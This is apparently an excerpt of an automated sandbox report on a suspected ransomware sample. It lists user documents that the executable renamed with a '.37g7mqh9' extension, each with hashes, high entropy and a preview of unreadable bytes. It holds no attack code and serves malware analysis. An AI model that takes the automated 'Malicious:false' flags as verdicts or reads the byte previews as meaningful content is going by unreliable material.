                                                                                Preview: c..Vg.vZm..v..E......2..O.D%... <b]...,.aF..|M.g..S.....Y"......j~..^A.K.Z._..`U.}.....@..@e.b....\.5.Wg..!R..\.h...zdo......-...$4\&.,Y...`...8j.G-K....{......*.}.U}V...u.b..l.....SJ5|....k.!...._@.r0@..h>...]&D..........I.X.6.,....Z...,z..:{.$.gU.H...E...[...44..Ao.6.......Z......n..cFn.?.J..K]....D....*.....C,: .j....Y..U[18.'...... ..g;...J.#.Z..v.TF+.a-.eH..n.....d.>..I....-.srx.$...:G..#.KvP....3...f...8g...tv.j....Ws.q..`+..,V...`..4.=?-.zbb/..4...K_#..G.HN..a....N.'....v._.....'.D.mvX.........W?....._.p`$..o...Z3%@..WY.....oz.s.;..L..(.K..d.....JB...*.H..-..P...}k.R...!.L...s.{.T...4..TZ...%.r ...+...+C.t.(L\}..H.*.....~...C..E..g.....tFt.{%..+.q.8daohFT..}CO.d.O.q..&..?.d.@6.&...^.Vu.c.l.0pu..|.I=.s>.^..DZ...0.."6P?....z..b.C.9[T.oq..M.[(......%...Z).....N.{,.>.....ZU`?.8..p*..<..J.%0..A..H.j3....R.Z..rX.}.{...\R.-.......(....5.{...q.U.H.....l.....e..t.Z#e.[L<.N.......c......./..z...HCg]zd.L.j=V.....(...n...lOi.5..kvek
                                                                                c:\users\user\documents\EOWRVPQCCS.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.864345098180624
                                                                                Encrypted:false
                                                                                SSDEEP:24:Sg9RuTkxGf1aGX7U4zN1pS2i5c7zAsUP0xL86ZaIvUxRrTfu/A7OoKt:NLgfYZspj7MsxDZaIvUDTfu/AiXt
                                                                                MD5:5E1ED89019494C16CF9990E8813C54BC
                                                                                SHA1:A162E9A017076C584C50347FBF7CC90FA5496CDA
                                                                                SHA-256:440FA12226F3544A5E70385BEEFC8587F71118CB45D97345CA8741BC33D2F3A9
                                                                                SHA-512:9E720686BA7F4BDFB8A1DBB940B7318902BFCCC8B5D0726EDA99F4FE6DBF02261F1823D85A41BABDB793034D6EBB2071F497670CAA734B4EB7CADAD3E5AF4F1E
                                                                                Malicious:false
                                                                                Preview: K6d....aK)9c2.?}h.....M.(."{^..< ....Z...1.gL2.fQeA.D.u....Z..`g.lSmD..0......NR..e.C..v...&..x...Q.K..U0)$.....@~.BH...kA..M...q.S.....d.'.dH.V.m.$t..}_..|..v..I..T.(.[.........._E3..a.b..*./.p.#.U..Kv...vL]!^.UZ2.`....G.T...(....;.....f*.B..4.t...........K.n.U.+f....c.P.fp...KT.>>...L..*.-v."[..iZ.......E...E..+R#.......p..4...W..B....\..[....r.X* ...l..z..W-.......O..u..j.. .u./wy.r.f`...he<..K..LW.2.+O..F.ce.]_.s/.Ug6..d...._...q...Q.}.b.c|..D..m(9....dF.@.Tm;.;.....M.h........ .R.%M.M......H.D.H.......VO.`.56.S.......r./...K8.#.Qc.....o..%....E..O<.}.........f.yo..S_............u.....e...os6....x.z[..X..-l...F..<.^..!u.{.....F..#0&BNt..Q.3:..U....rY.(op....C.b%$..cVW)h...........P...3%.......Y.:..' ..jeY.\...S.V.[#.+.....G..TdH.I.d.%/.vU.&.>...l.(..).._VX.D.3>q.d.7..|.H.@..X...--U..+...o..jO...y..@fN.i...>T.vO..:.,.O.R..t...Q...X.s.d..N..,0 .......+.3,.Z..V....m[..m.H.#..n.&............Ztk4.07....p......t.K.A.)..L.h.......Y..N
                                                                                c:\users\user\documents\EOWRVPQCCS.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.847811976445619
                                                                                Encrypted:false
                                                                                SSDEEP:24:XNUXiLU/hec4VAjH5cqcWpRV5WhiOlpZ/ikUrTfu/AJf:d/LUB6+BjGs0pIPTfu/AZ
                                                                                MD5:47DD584CD356BA78D6DE83D05ADBAF68
                                                                                SHA1:70FC2F9BCFB1AFE7149694AD8D96C665355BBF6D
                                                                                SHA-256:7AF8B431BAAB55B9EE7F8E4C9B4F7E29701264F87F09ACDCBC69C61825CA884B
                                                                                SHA-512:BFE26986E71C699280183D49EC1B395746EC4E96E0D32EEFF9E1BFABFC146ED050828180160B2D71E0C209665633D740DB73E45374AF31E18FE3496A0097CB3A
                                                                                Malicious:false
                                                                                Preview: ..n...4+,.P.J.|.......8.w.T..O.r.$K0.{....@^." ...6..2e.....!t[...r.K..5...*L.Q2A.9@.B$d.3....>...(..}....y....?..q6...]~.zBl...0...?C**.....!:...F6....<.%)..0..p..D....>.{5....V..6..........".JUE...2F.w.vn.8...d..j....qn..y....(.".y.}..5I..Z.\.lN\....[..F..7dzL.'.%^f.M3.<.u.U..mUj....wp.R&....Z...x..8.zIW.DR...].Pmd/".]..\.-Jz.C...........\un....._.......X~.[?..#...F...i.Y..s..Q.......V.LY{,...~...#..J.I.#Y..,..m........].z.&........R.....'%.d...0u......K<%M1.\M.....1q.....#)W..,...)...E..$.a.GU.....pk..I....>.E...Vd....2..J...d.B...z*J"^...."...3..g.,........'YRg...].........&i(......"3..L..]..YFa..\a.fk.u~..............v.'..i..5....C)..y.c.`;u...@Xy.I..C....{......c6._..c...+.j..FD..7..q..C7.O.....V..u....ss..2.R.E..j..IO^.Cb..2O....w.....v.GT..-....ZAPQJ.|cwR.n.i....i.....D&lk.o...4*n.b....S.?...p9.A..(.F.]5^D..d:..{....,........v.J.........ZQAn...,...P.i..0_...O....d.n... j.5m.?.V..j..hmU$!~.N.p..).3.JI..na.l...~....9%..A...do....*..>
                                                                                c:\users\user\documents\EWZCVGNOWT.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.862822965737464
                                                                                Encrypted:false
                                                                                SSDEEP:24:JqSJrCLPGx3yeNuJFi70a7Cleu2dwqr96D+YsJElL8MZ0mpyrTfu/AEx:DJrCbCNuqoadXH6mJERiTfu/AEx
                                                                                MD5:BE5C8E5FA32110F105FD2E307487C0FE
                                                                                SHA1:44F9C67F89636500F6A7E684F2B0A4BE44D4C244
                                                                                SHA-256:7F8C8E589604E85F20F7E204DDE97E93EA2470FB8866232432F1177227E258C3
                                                                                SHA-512:D33FC874104EB341D119855514BD90FEB6C33C4D5902FD24B2EA6092A6A4178BDDBD113C4E5524982355A08BA480FBE2DEDD1C1C19C2BB80E95FFD67F8817D3E
                                                                                Malicious:false
                                                                                Preview: ...;.p.e....._..j......p..8.dl.".....]..W..Nj.*D2v.]l.B.O.-7||&*.!40n.3.{..E.!N...u;.{&......."D..5....G.d.`..G.j.|...MnH::.f$|.A...g....._D.Sg..>.{h..A ..J..h.I.....H....e..|.ZU$....l.b|...r..$.m.W.!0.=0.iK....u.r)..b..t.,t.C.....T.=..b.5...D.=..].cF{5h....Ay.S..<.=...8.o<.. .sU..rr..U.w.i.Qv...C.T....o.:.<.I.n.k.n;.p`..,F.H.M..wf.m.vKT.PX/.a....wW..F..$...y.m......D..Q.7[Z.2Y>PS9..jz..T4K7<}^..@.f8.o..Z.2..;`*.....iZ 'D.L~%0.45W...H*5....+..*./.N.z.8..m.r...@&.E9.......6.=.....f9g+O..na...A.YO..)..ZU.j.v.,ph.Lmd:.....BeO(.e)..+E.P..........@...#....\.5..!..&.....4?....w.=..x|.sE.4...3.....".5........p..W.... .d...D..3...N-...)...LK..6...3L'.}a..wN"..Q.G:...z...h...I:...|.j..}..Nv7...$..i...K....^......D.........B.Z..I.......'^......<p...uC..#w...O.U.Kk>.Y.!/."....7..=%....<7o..v<~....<.,@....!v..yg..X....VxCd_.H1...g.....!..2..._-...ej.3.-...=...1@.z...I@....'|..c..M...%.......c?..D..u...L..1....s........bT{....p.9.V.E.K.HFZg.A.j^.1.....z
                                                                                c:\users\user\documents\GIGIYTFFYT.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8559219150172765
                                                                                Encrypted:false
                                                                                SSDEEP:24:ff3IZBiuKwBrbLnFfDzXkjiiM/Ypq9yaVwAPK/fF3rTfu/A2b6q4f:HSZNBtXkjitgp/4wHnxTfu/A2b6qO
                                                                                MD5:D921CA293C0DAE9A4C1E132222446117
                                                                                SHA1:72375CC722536C3A9B2379DA11B19C862209C6ED
                                                                                SHA-256:FBCC31BF42239CB410A0A06DF49B1EAB9AE03F2C7D1B8321A6BA9F0DD38FA394
                                                                                SHA-512:287E1BA1D12616731887E1812F61F860CF8123BAA310DEAD3F9F81A8A40268D9727083829B564733C017B20D4D3ED569A70D6C9BB77D33512275045CC7FDA6DE
                                                                                Malicious:false
                                                                                Preview: ...# ...c^..v......eh......*......x....V..C.N...3c....oJ.S.........bL..=|.Q.U$..e..Q.I.r....X...T2BZ.6.5..WB^.L..Dd....%."a...*...)\"Z.'..>0...]...i.&...:..=....~_.R. .*V....5.V.0...P.<.'......K...E..]).p...J.M.pf~,...@.u.&..@.:..%.....-./...y.`k.m...GH]........u.Qo.d..UW.H.R,..?G81...i..8~$m.%.U..p........1d.5!.}..f..]..%._C....X..6...r..t..../....H .Kp4....<.DBo...."......b.......[..t....L.#^s.c.0H.Q.sh.-.[.$..a....1..Z"-...J..AtHe..xR.'.B:..Ed....'Q..s...7.\.[qEy.....?".G...j.-..!...7.C....v'sq..oE...cam.^..H..|..<{..r.4S..a.4...!F?.B.eg...@...B.$.......+.GF....6..y........d.5y..,+.a4|.....|...Rj...n.A...Bpz'.(.aa.=`.3@....(bSsYe......H.e......cxt.9.\..1...=vB..:....8.S.+:.i`j.Zw.xwt..X5...eFr.;..N.b...............vx....D..#.0/.@.<...../..o...@.l.$k....@D...cjwk.g......!a/U)..._...'....*S.-s.].....5........!....l..Q.{G..Y.........v.J..,.....\m...x];..@..j#x.5.,W...z..W...ZR...a.../6.^./...@.WX.......|....Wgn.=.Q.:..@F.....s
                                                                                c:\users\user\documents\GRXZDKKVDB.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.839819337846483
                                                                                Encrypted:false
                                                                                SSDEEP:24:OOXAV0+6T/zVAM6K022I3hjDjM8Dm7u2wK6qHlbLvEgq1OmrTfu/AzIxmg:V+yzp632f3hj5Dm7T6qHN7q1JTfu/A8V
                                                                                MD5:9A95DCA31A63B580E41ED305483505FE
                                                                                SHA1:42F42C5EE1508833F5467EA47556076D5883075D
                                                                                SHA-256:EEC549020191173E5E853ABF7BC34B23E7BA39D7E15C0575585B72DD216291C6
                                                                                SHA-512:5CC0EB08221CE50A61C0B490857FFC9DBA6D47190D343FADD88C9C3C158F8FB1A8574E5CDB18DE22991446EDE3706DD46038D1C00406AF04ACBF556631116D62
                                                                                Malicious:false
                                                                                Preview: ..P..T..2..j.......J.!..m..tO.F..#.......w.,.zd......!.....,jZ...L.woU?gy}..c$...X..0.)v. ...(.....wW.$.q....#..u..........8hY0..7.....S.i.....;.;@...%1.\m.D4Y.+f..EzcT.....H....H.!t^.J.....S.S...R...nY.h.@om.v...4...L.=.?#......ii"+...-oW.n.Rmr......s...E.....S.>..C.2...`...R=...W..z.N%.eY.(R`.n.+...iE8.~....r....Vs....o.. ..Zw...4X.Cs|...b..0.%l.,.Ov...bA.."..|.....x..O;.#.$..Q.h.+..|.5.c>...:...6t.2..@.......V..t3....Q;^:.+...-O,...JP...U.G...e...........C...@..;qL.....p.F...[v.SP......_.c.JS.O...Y.^d..!.9/.t......._xs.*...9...D.=...\{@CxW.P..v..S..W.....}.A.k6...4..G............X.....>X..p.zg.U..s.7.e*..NM..e...)2..a$....@.B.y0.....{...X.......k[.aL=3....@.....3.2....T9...;.../..4l..T....$F...P....MS...../.w'..}i-..c..V.m9m.?...AJ..z..c7....(>.J..A..z .........4h.-.A...L(w....tr7...=>..?.D=x.w...... ..h...h...b.....Cv."-......Y..T....-..k....9.n.N\b.c...[...K=.p5.G..sB..".2. M.....r.c<..(........X]J.. .L.2.w....u... ..N...;x>..V.o...c
                                                                                c:\users\user\documents\GRXZDKKVDB.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.840168650462763
                                                                                Encrypted:false
                                                                                SSDEEP:24:cEzTKje4CGIc6sHdwp2yW7aQFpMkXaxBkT+/1rbBXrpZUi3fZrTfu/AvZ:xTQe4CneFr7aelanrpTfu/AvZ
                                                                                MD5:C031795716AAC57FBE55899C0DF75EED
                                                                                SHA1:1DE8C6A6B2771F1D62E1B601F6B5B297F51F88D0
                                                                                SHA-256:4F4712CCB1ADAF9D45F5F60A8BCEA65A710BEE929786FBB06FA769150DF34C11
                                                                                SHA-512:5365FF2EFED9B1ED113CABB77A78B2C783BBDC0851179F71B46AB4C3B12E065CE2977BA812807AC8EE21F07B376FD2922737A91D1338C5DBA5B266241B6171C1
                                                                                Malicious:false
                                                                                Preview: n.H.g\Dxr..s6....v.."...V.D.f....:.979......7p.:fa.T6.N/.:.~.....[b.A....[.....!.. .....f.d....|.E.".../...,H..{..b-."..x....h."......0N7.....vg..h...o.$.^..s...[.*.4nC.1..u.U...../x........j.sw...1....Ud...J.%^...6....;...{....=G.a==..4...C.E.>W..j.._..-S.m$.&..n.q7......=..4.$....>K=t/..Ia.]..`...rcB]f.......:.Z..]...{\Zs.~...V.A.U4....;/......=]-....~fC6=.:.....q.$2..._........"./....U......x...H3.._...N7....6[B8..IsMY.(`.......i...$.....Kj..o......WP.9p6.A...E.%.0...S.m...........j.t8Nw..S.5...t.....g..<$..V...I.....v...`G.....r).`*.....B.L../.....Hf....=.:m$v.mE6.R)T..F.....D.=.g.`..ul.m2.M.,.......5\O......]..B..s..*{.*-Y../......D.a..0.....6.;. W).....b.;.....KN?...&.4}.K{A...l..k.?...Dc.M...eA...,%....4Ps"......U._....P.n .{.V..Y._.W.)...lC..5..)=....MEa..2.9..Kd...n.>;.K.4..V.......w.3H.'.@.T.gI.X....1.A..tA.^..DC........8]...J.%.H....Ngt.iQ5...U.....x.s.t'..4>......"....W..D^...S....6..~...N...)..-...K...fu./..e.Ml..-w...s.7..
                                                                                c:\users\user\documents\NVWZAPQSQL.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.83831695957023
                                                                                Encrypted:false
                                                                                SSDEEP:24:Lmwt3Jil+80O/8rkEktIsZjUzylHqb4KBeK4tt4PeRHHbrTfu/AeNvD:LPt5uD0O/8YEkesZjhcv0ttjvTfu/Ag
                                                                                MD5:6701CAA4FCA9EABFDDBADE3F813F0B3F
                                                                                SHA1:09496C6EE5951221C10830E117202F7D8EFDF9C0
                                                                                SHA-256:7EC55033B0505D54B218A3470F9472C938A581B05395BB1AB6873AD45164448A
                                                                                SHA-512:F6D5968E3BFEE8B9E00AD70375FCA9126CE28F71A694ECDD9A46F5278873BD4CB069F81D3D0E9AAA3A9B9DF5CAF380694AE636D73BC5950B35AC30B73F76A8FB
                                                                                Malicious:false
                                                                                Preview: .J[..cel....2.I.U.A.wT..>...Au$...1.]...v..(.....&N...U]y...'.I..b..o............[m...s.......t4.a..}sE..Jr.=dq`*.......`..3%.v.h....`;.5..^.Ng....t...b..z.Y+...tkz.m..`.5/h..I)Tm...mb$.(."....b".>4..En.....E.....".8......?..7(q....).d...@u.2...@..i......q.'.i.P...(..G..D.a.....7.W.9._..G(.<Z.dH.O.,o5..!...j."v.....L..g0{]kD..u..iO.x..Dd..u...-.6......7....N......<...T<...;P.1.V....D....D0.Drn.'..@.]W..[.gh..=.|....>.xak.Y8.q.{......k;.`..*.7z..F.i@).`G..%.0...U....A.Y.....Ub7..Vh..n.NB+...f`.<y.....33..q.@/.#..,.b......x..0....p]>uF.CU]..G....B...W....$J.zz.1F...@.]2u...N$..&.*..2..."..........z....n..n..h[......[...}.{L..k..j...6.D/)....W......W...O....a/.....^...A...r/...<...W..5af.b....}...=^....`..(.Mz..7....f..g..'I... ..50U..z.y^L.z.G....Q.5?A.J..Y..+|Cj.j.V...+5........Q...t..a...*v."o(...~.T...@..[.>...O......)9...._.C...m}..p.......*.F..#_..X...Q.{.7...[5\E8..JSQ......P:....I.%...^..9p[.....S....q...b8.[[.......!...cuE..&
                                                                                c:\users\user\documents\NVWZAPQSQL.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.841349148678863
                                                                                Encrypted:false
                                                                                SSDEEP:24:DY3TJ3E3HqVHmKsGKi75z2+NsyZccCpnVHycwtjzrTfu/Afs:D+3E3HMGanM+mytCrScwRXTfu/Afs
                                                                                MD5:C28FD5B7D5007C13F1C75B5BD517F31C
                                                                                SHA1:9AB913516E72D783BA9BA9E0A412DAD0C50C8425
                                                                                SHA-256:A10489DC61A01EDA4B4F8BA47B48FC6B428778E14122D234CAF03A1C2C22E4BB
                                                                                SHA-512:33FE6E39567803BA2F636A1F1C80A46877D060F4A9B9E641CDAF40B7105636BF9F108C6B5FDDCB598F006C8FE0C943D7BDED2D415472E7019F613B3305CC0189
                                                                                Malicious:false
                                                                                Preview: .}.y.`......gMt]l...g..=R.yla.at..X-.r.......Q*g.Tn.m.+..x"+.........c..+J..[.0.+.-.|Z6....:Wl...^....K.D...<A...>...w4.....AL...b.YHTW.u+..q.0.".`....\s......)M.1...O..`.K.`....."A.>v..ch..S7.8.7.y...$....!3........e,..BRO...40j...Z..x@.../K.G.>.....&...Li..\!I.C..4.|.T#|...Dw..:..?5....Y.W...Z......x......-...g...Z...f8g....L..,.0.1eLC......q..g!|..8p.c...:....1?...\X...a"h........F...a].k2.[..5<PWj\}..QD.1..f...H..t..^(.K.... .D..\C......1]`.............,~MB....I)qi.Aw...c......`b.`[......mR.Y/.FT,z...D.=O1..B....O7w..G......R.2.4-.{_E.x.g......ct.s..B...d:....|.Z.;>..5^F.Hw.......V{............#).Z.d._.b..b..L.B{.Hr...!....l....a......8...D.......*.....%....e.....,76.+x).^.(.\9GMO..I8..8|.. qC7}TlsM....._,].F..q..3......8..L..9.T.+...<`.]0.;D......Uv.Rd..aH....Rjd.eX==.]y\.;l.A~...}.V..e..,.5.;^...>...=..y..$.(o..7....;.8...N.2.J%....a..K#e;.$6........J.......0..x ...P...p."..=r.E...g....CF-.t..nN.}5..w#..RM.J...s$..E0..DyF.H..Y.^.l..u."7
                                                                                c:\users\user\documents\NVWZAPQSQL.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.85232829154693
                                                                                Encrypted:false
                                                                                SSDEEP:24:MOMsuqIs9Ew8CQwWjoSHbIJ8pBRDMdOHGz67Y9PGMAllRrTfu/AGY:MOCqJl8xNjoSNbVM+AGiPGMAlPTfu/AN
                                                                                MD5:0FEE8C58D83A06B24DA3AA01461D39F1
                                                                                SHA1:C4FAF9DFD331BEB99BCB53DDAF5B00FFC421DF51
                                                                                SHA-256:6C72E7BF094CD496B58DE10039E5ABE868FABD029E6B3A5A4E094F607A3EFE67
                                                                                SHA-512:50A5981C62CAC4FF7F800FDA976D036253320C5C12E264792EFA0D6C26277C9975A5C8900A7E5AF4EF2EB4F863F4DD6D0F44DEC8DCC2B1CF48C2288CCB4AC451
                                                                                Malicious:false
                                                                                Preview: ...A.....q.....$.2..B;G..7.F...U...&p.M..X.r......|>.....P..hN...u....uv.~*T!{i.J......#.q....].....U=d...........B1.......4.[.z5..T.&7...>.4dc[>J........hy.....#(sg.................P3......M..$..+..0...t(....n.^.?.\.....p..7a..S..q..#.6.8...5f<......k....r...W..8..3..s.C..k...]4.._Q.JC..V.:dsI^.../k..Q~3..a].V....^o9...d]..+.2~/C....$k.D.r...f..*1Og.;.02".`.f"u......k8v....s......N...^.l......{."Y>.x...w.}....b..J....)...Q.....\.....b....*...Cu..h......ol.t..c.6.\.u?a...,.....:..O....ly.NA.+...G.J.......c..3sf.!.P...Kq.'4Y.E1..\......2.....*.........g.6....x-3q...Ml[^F^..<....(...xx..#..4.. .W.F...R.8..H.t.U.w....h.......r).c.b[...=.9..5.5<..g..sw.3....FE..pRB.).v....Y&........0........Z...H..L...q....-...i.7..`....h* .w..E3&.\....3..B....)....y.>..i.L...L2M.f6.T.....M...(.d/..I..M....4..-U....=.2B.d.6~.a.5...[Q..K3.(.P...$.......(.}.lX7.a..9\@n....r.._@r2.t..8...%..i....U$'i..w.ga...c..w.9%./O..O.j.........TCq:A......<....X..K.?.
                                                                                c:\users\user\documents\PALRGUCVEH.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.865692891742633
                                                                                Encrypted:false
                                                                                SSDEEP:24:lhzbo+V0I4YpG+NwoE2AC1j3jl9ohhiO+DRsfG4Q2IrTfu/A/bd8Ef:lhfh4YpGUKkJlOhfcsfG4HaTfu/A/bdT
                                                                                MD5:73DC3503A928663AE0A19CF6310CE26E
                                                                                SHA1:FF851AC1A5B163C0C7C69678BAE23F1A2659F6DB
                                                                                SHA-256:B63C49012C83B41AA2F32B3ECD30CCBD8B89C2F836C2101D634ED760E49A8818
                                                                                SHA-512:C6C57A2B7FF959C9F898D1B7CF28966C8A80FD99BE377D5B2A9D89D58719E403C381F56D1CE6B7BF0B5FA202A69A25B43994385BC8D6E3659120EFB86A5C10C9
                                                                                Malicious:false
                                                                                Preview: ~..c+..l.....iv.m.>....ic...*.h................x..k.*...&U.............{..Y..#.u..7..J2..S..<...t..^...P .+6.QQ~.......*}.iV62.W.c+Kq...........2.KAKW^F..w.k...>mG..(.^....d...B....E......"L.-i?EV.2.'...@.V.....Xe]i^..]....c.._[d.;\...)'...b6...f.*..s.\.Q..7>.#. .4.2&.1.|7..f.4.5:=.3.:..Dq....,.s.........d..0........n.e1Z.%! ...(....-..........P..BDo..Fr..2_..G.3.2m.......x2..X..........T |+....%..Tu.n..WA....d..c...L.E.F.Qk..JSao.|.+..q".EDu..<.gH..F....w)..f...Q.}...{Yv....9......y3.....k...."...q..2.@'.?e.x.g....h..Rs.i.tY3n...d..rPW...f......S.V"s|.8V`....9.X...t..+.........^.|E.[kr..=j...y...0Y>s ...aH..ju&).*.......t.6!G.!.......I.P...E..RR..q.$u..>.Z........K..w...O..JP....7...h.I.T.``^=.*.].wS....o.EF..C....]..;..m|...v..u....e.-.....nfN.. q....v.).]s.Um?s..Y2.....g....D.Sk...>.S.H.mw.!....*P..).M...u..GF!....9O.....x..UV.7....IN}TR.[..8..j.u2i..F.f...D%...M.uV..vtS..*...f.Kl1..8~.....4)..>L..4..dp...1...u..I87..>@.F..EMYv.S
                                                                                c:\users\user\documents\PIVFAGEAAV.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.82504321916274
                                                                                Encrypted:false
                                                                                SSDEEP:24:9qY3+/8/nx63MEtVlaXrT9h+DjP0d9etTj+on3RRrTfu/AwBGh:9dB85tVlaXbaPsSTj+kTfu/Adh
                                                                                MD5:C98A1B1C0010D3339B07FB31830B4D05
                                                                                SHA1:9AD57106CEC283CC53CA60FE35D458F1C4304F66
                                                                                SHA-256:E685CDF6143ABBD129F8C84A100897A282E1FFD18370A81BAD032D63E84DE8C5
                                                                                SHA-512:2E716207D02E498B681F199FE9C6ACC0A6C31903C5160F30BC4099867329C788313AED6936924E3D1D8F143DAAA1AA2C71D622B9CF19E6837A262367ADB551B7
                                                                                Malicious:false
                                                                                Preview: .(c_."....~d....g.B....5.....W......*..Y.%..Q.........0.U..]............t:......Q2..pl...(V.Uw.!$74g......R.n....&.BA/..Z.S!.MP.{no...6axR.../..e..... ..}^.qMK.G. E..K...D.......|..S{;NzT$L{...j.v>...........c..N..e@q.e.W....b.N.v.h.~I .}*NUa.L........aC..9..@0W.....f._.%.0..|...r..R<...S.F.T.b.h.i.....I.^. .Z...b..P...K..m...........-..Z.2....h.~.+K.5w.T%.[.`8..Pf.y.~B..uk.&i...L\y4m.".....V6%...e}.l..Vh.as....I>..|.]....R.......f.. .:.....!S.>7....#.'.`......;..Q.c..N.kE.".UZJ.$:w.9.W.q^....].)...e..G5[._..5......@...|Lu.B.H.......H...f.]j......9...J.^....1...d.,@H.*}H.....p.6..."........KJ.....nYP.aV....J%..G...8Di..8......f...1<..Y)..]......7^...'..."..Y..c.q...(31.&..Q`m..YD..f2m..R9R..A B...{.. h..E...?...?...O.P\2c:.rY..cJsJm{.h(...]."....X.k#.\..p.A.C.5.u.A..j`... ...+a........e2..f..p....p\wIUm..~.q^.E..{O{fh..k..[.....Z.....'p^yR...2.KD....W.F.T.. ......Li..K..9.......,.".t.....0..R; icD..R.-....]n..XS...k..B(./..w...^..h....A.
                                                                                c:\users\user\documents\PIVFAGEAAV.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.842180664182194
                                                                                Encrypted:false
                                                                                SSDEEP:24:k4i2Sb87Qf8Q7B4+Z8RiWrE8q0lSJPxnxVcGa8brTfu/AML:tZG38RiWrE8q/JPxxKGayTfu/Aw
                                                                                MD5:9C2082D620DDC64A202792D9DCF950D5
                                                                                SHA1:118801BA25C0C1B96790A500E909E25C5DA39B56
                                                                                SHA-256:F0FD39856719595095658C6AE63BAF95C5D3CB384B2CF3C586BEFD41D8E6B0AF
                                                                                SHA-512:3FA0D52A49C3CCBEA30526383C054BE249D7064468F2D466E2EEEE32959C05D9C3EFE6B520F482236C9A2A4466ED6A9B40E2E335CAABCA66402952440D28AC17
                                                                                Malicious:false
                                                                                Preview: ....k........h#g.Y.7...oc...1I...Y..Y......Ro..m...=CQ............T...M.......0..:xam4SxQ......6..?.YK$g....6E.!'....d=/.S..I....,d.[.w^....z..k.*...HFY'b_.....>......k."`r-U.Q.r...s8..CW.;..-o`!..i..T...j.c)......^..q#....dg.......*$.....F..v7...........g1..u..L..5{....bS...........tT%.R...;2].A..........S......l....PDR....\..Z-.. ..D+...(/.i..B..Hsc.#..nIR..T[....6.,l..=8g(..B.`..PxMN.[...~..,."*.W..-.....1.4._aB.G=+.....*G 2.....W..5...5"......]<..rnD.t,o../..V.@..w.r..U..........cF.S.@..A#y&.!...*.XQB........Cx..%[.W.+...=.6.....h.S.L#o.g.... jS..H...9H.,. ....'4..h..Lk).h84uga.>...`.o./O5........}}@....S-......0.m....BMQ4.^...y?...6..G-]a... .q....&M...R%......{;.....3.'.....6.Ad....D..@?{J;..-..-5,.[...TM...'....:.{yEd^...!.>.CC[...........7..o.,.i...|q.....G%..FS3U.. .v.[.'...8p..+6.k..n.XKV.../f#m.....M.f5.l..mu..=+.P.....B{.....O...8l.jNZ$....u.W...'...5.;...A[.>.Pd..O.....6..F:i.0Iv.....=.5......./Nf*.......n$I...d@. ..7..
                                                                                c:\users\user\documents\QCOILOQIKC.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.834639617633002
                                                                                Encrypted:false
                                                                                SSDEEP:24:+WhTMNu55nBN+VcyITMLKQbtLlXMQdn3uoZXn8brTfu/A+GbU:+WhEunnjT34LBbt5Mg3uE8vTfu/ABbU
                                                                                MD5:DCCB020A68450BF52E8FD06BD91C820B
                                                                                SHA1:75F8E379F8CF06CC455102CAD6C35254A42DCAC8
                                                                                SHA-256:F521600D89A43002840142DFFE8F53CCF2579907430D086CF46342F906F43FE3
                                                                                SHA-512:E51768A9A96D0B27AE19ADFC2E590EFCA9E4BCCA247DCE5F9ECE238F9077952373530FA5C2E17C5CA3EA0BB58F0599EA01120C114BB51D70E064E67A9E672472
                                                                                Malicious:false
